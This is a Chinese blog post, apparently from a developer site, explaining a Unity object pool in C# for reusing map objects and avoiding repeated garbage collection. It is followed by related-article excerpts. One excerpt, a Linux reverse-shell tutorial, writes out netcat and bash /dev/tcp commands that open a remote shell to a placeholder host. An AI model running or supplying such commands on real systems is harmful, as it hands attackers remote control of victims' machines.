【Unity程序技巧】加入缓存池存储地图资源,节省资源,避免多次CG

👨💻个人主页:@元宇宙-秩沅
👨💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅!
👨💻 本文由 秩沅 原创
👨💻 收录于专栏:Unity基础实战
⭐🅰️⭐
文章目录
- ⭐🅰️⭐
- ⭐前言⭐
- 🎶(==1==) 未添加缓存池之前
- 🎶(==2==) 添加缓存池后
- 🎶(==3==)缓存池 脚本
- ⭐🅰️⭐
⭐前言⭐
- 添加缓存池的本质其实就是资源的循环利用,减少多次CG。也就是说,当我们需要销毁一个物体的时候我们需要用到的story,但是多次的destroy,它会触发我们的CG回收,那此时我们如果说用一个列表或者是字典。形成了一个缓存池,让他临时存放,我们需要多次销毁的一个物体的话,那么它就避免了多次产生C机的回收机制。此时我们可以选择让存进去的物体失活,需要的时候再激活,把它存取出来,让就可以进行一个循环的利用。
🎶(1) 未添加缓存池之前

🎶(2) 添加缓存池后

🎶(3)缓存池 脚本
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Events;/// <summary>
/// 抽屉数据
/// </summary>
public class PoolData
{//抽屉中 对象挂载的父节点public GameObject fatherObj;//对象的容器public List<GameObject> poolList;public PoolData(GameObject obj, GameObject poolObj){//给我们的抽屉 创建一个父对象 并且把他作为我们pool(衣柜)对象的子物体fatherObj = new GameObject(obj.name);fatherObj.transform.parent = poolObj.transform;poolList = new List<GameObject>() {};PushObj(obj);}/// <summary>/// 往抽屉里面 压都东西/// </summary>/// <param name="obj"></param>public void PushObj(GameObject obj){//失活 让其隐藏//obj.SetActive(false); //可放在外部去激活//存起来poolList.Add(obj);//设置父对象obj.transform.parent = fatherObj.transform;}/// <summary>/// 从抽屉里面 取东西/// </summary>/// <returns></returns>public GameObject GetObj(Transform parent) //参数为需要设置的父对象{GameObject obj = null;//取出第一个obj = poolList[0];//对物体的Y轴进行约束obj.GetComponent<Rigidbody>().constraints = RigidbodyConstraints.FreezePositionY;poolList.RemoveAt(0);//激活 让其显示obj.SetActive(true);//断开了父子关系obj.transform.SetParent(parent);return obj;}
}/// <summary>
/// 缓存池模块
/// </summary>
public class PoolManager : SingleManager <PoolManager>
{//缓存池容器 (衣柜)public Dictionary<string, PoolData> poolDic = new Dictionary<string, PoolData>();private GameObject poolObj;/// <summary>/// 从缓存池中拿东西/// </summary>/// <param name="名字"></param>/// <param parent="挂载的父对象"></param>/// <param position="实例化的位置"></param>/// <param rotation="实例化的角度"></param>/// <param callBack="委托"></param>public void GetObj(string name, Transform parent, UnityAction<GameObject> callBack) //第三个参数为挂载的父对象{if(poolDic.ContainsKey(name) && poolDic[name].poolList.Count > 0){callBack(poolDic[name ].GetObj(parent));}else{//同步加载GameObject obj = GameObject.Instantiate(ResManager.GetInstance().Load<GameObject>("prefabs/" + name));obj.name = name; callBack(obj); //返回实例化的物品给委托通过异步加载资源 创建对象给外部用//ResManager .GetInstance().LoadAsync<GameObject>("prefabs/"+name, (o) =>//{// o.name = name;// callBack(o);//});//obj = GameObject.Instantiate(Resources.Load<GameObject>(name));//把对象名字改的和池子名字一样//obj.name = name;}}/// <summary>/// 换暂时不用的东西给池子/// </summary>public void PushObj(string name, GameObject obj){if (poolObj == null)poolObj = new GameObject("Pool");//里面有抽屉if (poolDic.ContainsKey(name)){poolDic[name].PushObj(obj);}//里面没有抽屉else{ poolDic.Add(name, new PoolData(obj, poolObj));}}/// <summary>/// 清空缓存池的方法 /// 主要用在 场景切换时/// </summary>public void Clear(){poolDic.Clear();poolObj = null;}
}
⭐🅰️⭐
⭐【Unityc#专题篇】之c#进阶篇】
⭐【Unityc#专题篇】之c#核心篇】
⭐【Unityc#专题篇】之c#基础篇】
⭐【Unity-c#专题篇】之c#入门篇】
⭐【Unityc#专题篇】—进阶章题单实践练习
⭐【Unityc#专题篇】—基础章题单实践练习
⭐【Unityc#专题篇】—核心章题单实践练习
你们的点赞👍 收藏⭐ 留言📝 关注✅是我持续创作,输出优质内容的最大动力!、

相关文章:
【Unity程序技巧】加入缓存池存储地图资源,节省资源,避免多次CG
👨💻个人主页:元宇宙-秩沅 👨💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨💻 本文由 秩沅 原创 👨💻 收录于专栏:Uni…...
虹科Pico汽车示波器 | 汽车免拆检修 | 2016款东风悦达起亚K5车发动机怠速抖动严重、加速无力
一、故障现象 一辆2016款东风悦达起亚K5车,搭载G4FJ发动机,累计行驶里程约为8.2万km。该车发动机怠速抖动严重、加速无力,同时发动机故障灯异常点亮,为此在其他维修厂更换了所有点火线圈和火花塞,故障依旧,…...
4.Spring源码解析-loadBeanDefinitions(XmlBeanDefinitionReader)
第一个点进去 发现是空 肯定走的第二个逻辑了 这里在这里已经给属性设置了值,所以肯定不是空能拿到。 1.ClassPathXmlApplicationContext 总结:该loadBeanDefinitions是XmlBeanDefinitionReader设置xml文件在哪。...
PHP 针对人大金仓KingbaseES自动生成数据字典
针对国产数据库 人大金仓KingbaseES 其实php 连接采用pdo方式 必须:需要去人大数据金仓官方网站 下载对应版本的pdo_kdb 扩展驱动 其连接方法与pgsql 数据库连接方法大致相同 不解释 直接上代码: <?php /*** 生成人大金仓数据字典*/ header(…...
java选择排序和冒泡排序
1.区别 选择排序和冒泡排序的区别主要在于算法逻辑、稳定性和交换成本。 算法逻辑:选择排序和冒泡排序都属于比较排序,但在具体算法逻辑上有所不同。冒泡排序是通过相邻元素之间的比较和交换,将较大(或较小)的元素逐…...
linux反弹shell
nc工具反弹shell 下面是windows主机找到nc打开1.bat输入:nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口, 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…...
Go字符串类型
一、字符串 1、字符串 Go 语言里的字符串的内部实现使用 UTF-8 编码字符串带的值为双引号(")中的内容,可以在 Go 语言的源码中直接添加非ASCII 码字符 s1 : "hello" s2 : "您好" 2、字符串转义符 Go 语言的字符…...
DjiTello + YoloV5的无人机的抽烟检测
一、效果展示 注:此项目纯作者自己原创,创作不易,不经同意不给予搬运权限,转发前请联系我,源码较大需要者评论获取,谢谢配合! 1、未启动飞行模型无人机的目标检测。 DjiTello YOLOV5抽烟检测 …...
数据库取多个时间字段的最大值
个人网站 要在数据库中取多个时间字段的最大值,可以使用SQL的GREATEST函数。假设有一个表my_table,其中有两个时间字段time1和time2,可以使用以下查询来获取这两个字段的最大值: SELECT GREATEST(time1, time2) AS max_time FRO…...
C/C++ 实现Socket交互式服务端
在 Windows 操作系统中,原生提供了强大的网络编程支持,允许开发者使用 Socket API 进行网络通信,通过 Socket API,开发者可以创建、连接、发送和接收数据,实现网络通信。本文将深入探讨如何通过调用原生网络 API 实现同…...
kotlin 防范竞态
当你调用成员,这个成员可能为null,可能为空值,就必须采用防范竞态条件,这个是 KT 编程的规范化 下面举例: 防范竞态条件【尽量使用 ? 内置函数 空合并操作符】 fun test(){val info: String ? "&q…...
超分辨率重建
意义 客观世界的场景含有丰富多彩的信息,但是由于受到硬件设备的成像条件和成像方式的限制,难以获得原始场景中的所有信息。而且,硬件设备分辨率的限制会不可避免地使图像丢失某些高频细节信息。在当今信息迅猛发展的时代,在卫星…...
防止恶意攻击,服务器DDoS防御软件科普
作为一种恶意的攻击方式,DDoS攻击正以超出服务器承受能力的流量淹没网站,让网站变得不可用。近几年,这种攻击持续增多,由此优秀服务器DDoS防御软件的需求也随之增长。那么如何选择服务器DDoS防御软件,从根本上根除DDoS…...
nint和Pattern matching介绍(C#)
nint 最近看C# 9.0时,发现一个有意思的关键词,就是nint,第一次看到这个,于是好奇心爆棚,就去实际操作了一下。 nint i 1000; Console.WriteLine("i{0}", i);实际结果与int的结果是一样的,那为什…...
部署jenkins一直显示Please wait while Jenkins is getting ready to work
部署jenkins一直显示Please wait while Jenkins is getting ready to work … 需要你进入jenkins的工作目录 vim .jenkins/hudson.model.UpdateCenter.xml将https://updates.jenkins.io/update-center.json更换为更改为https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates…...
Redis性能压测、监控工具及优化方案
Redis是一款高性能的开源缓存数据库,但是在实际应用中,我们需要对Redis进行性能压测、监控以及优化,以确保其稳定性和高可用性。本文将介绍Redis性能压测、监控工具及优化方案。 01 Redis性能压测 常用的Redis性能压测工具有: …...
使用NVM管理多个Nodejs版同时本支持vue2、vue3
1.安装nvm,下载地址: https://github.com/coreybutler/nvm-windows/releases/tag/1.1.12 2.nvm常用命令 Usage:nvm arch : Show if node is running in 32 or 64 bit mode.nvm current : Display active version.nvm debug …...
局域网的网络ip不稳定问题
在局域网的多个设备,互相通信时好时坏,不稳定。 遭遇过的情况如下: 用两个开发板:972开发板1和2,网口同时互相ping,出现1ping 2通--此时2ping 1不通,过段时间,1ping2不通--但2ping又…...
uniapp (vue3)生成二维码
在uni-app中生成二维码,我们可以使用第三方库qrcode.js。以下是一个简单的示例: 首先,我们需要安装qrcode.js库,可以通过npm进行安装: npm install qrcode然后,在你的Vue组件中引入并使用这个库ÿ…...
Android11编译第八弹:root用户密码设置
问题:user版本增加su 指令以后,允许切换root用户,但是,root用户默认没有设置密码,这样访问不安全。 需要增加root用户密码。 一、Linux账户管理 1.1 文件和权限 Linux一切皆文件。文件和目录都有相应的权限&#x…...
【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型
摘要 拍照搜题系统采用“三层管道(多模态 OCR → 语义检索 → 答案渲染)、两级检索(倒排 BM25 向量 HNSW)并以大语言模型兜底”的整体框架: 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后,分别用…...
7.4.分块查找
一.分块查找的算法思想: 1.实例: 以上述图片的顺序表为例, 该顺序表的数据元素从整体来看是乱序的,但如果把这些数据元素分成一块一块的小区间, 第一个区间[0,1]索引上的数据元素都是小于等于10的, 第二…...
RocketMQ延迟消息机制
两种延迟消息 RocketMQ中提供了两种延迟消息机制 指定固定的延迟级别 通过在Message中设定一个MessageDelayLevel参数,对应18个预设的延迟级别指定时间点的延迟级别 通过在Message中设定一个DeliverTimeMS指定一个Long类型表示的具体时间点。到了时间点后…...
docker详细操作--未完待续
docker介绍 docker官网: Docker:加速容器应用程序开发 harbor官网:Harbor - Harbor 中文 使用docker加速器: Docker镜像极速下载服务 - 毫秒镜像 是什么 Docker 是一种开源的容器化平台,用于将应用程序及其依赖项(如库、运行时环…...
PPT|230页| 制造集团企业供应链端到端的数字化解决方案:从需求到结算的全链路业务闭环构建
制造业采购供应链管理是企业运营的核心环节,供应链协同管理在供应链上下游企业之间建立紧密的合作关系,通过信息共享、资源整合、业务协同等方式,实现供应链的全面管理和优化,提高供应链的效率和透明度,降低供应链的成…...
2024年赣州旅游投资集团社会招聘笔试真
2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案,答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年,()预言了电磁波的存在,并指出…...
使用van-uploader 的UI组件,结合vue2如何实现图片上传组件的封装
以下是基于 vant-ui(适配 Vue2 版本 )实现截图中照片上传预览、删除功能,并封装成可复用组件的完整代码,包含样式和逻辑实现,可直接在 Vue2 项目中使用: 1. 封装的图片上传组件 ImageUploader.vue <te…...
C# 类和继承(抽象类)
抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
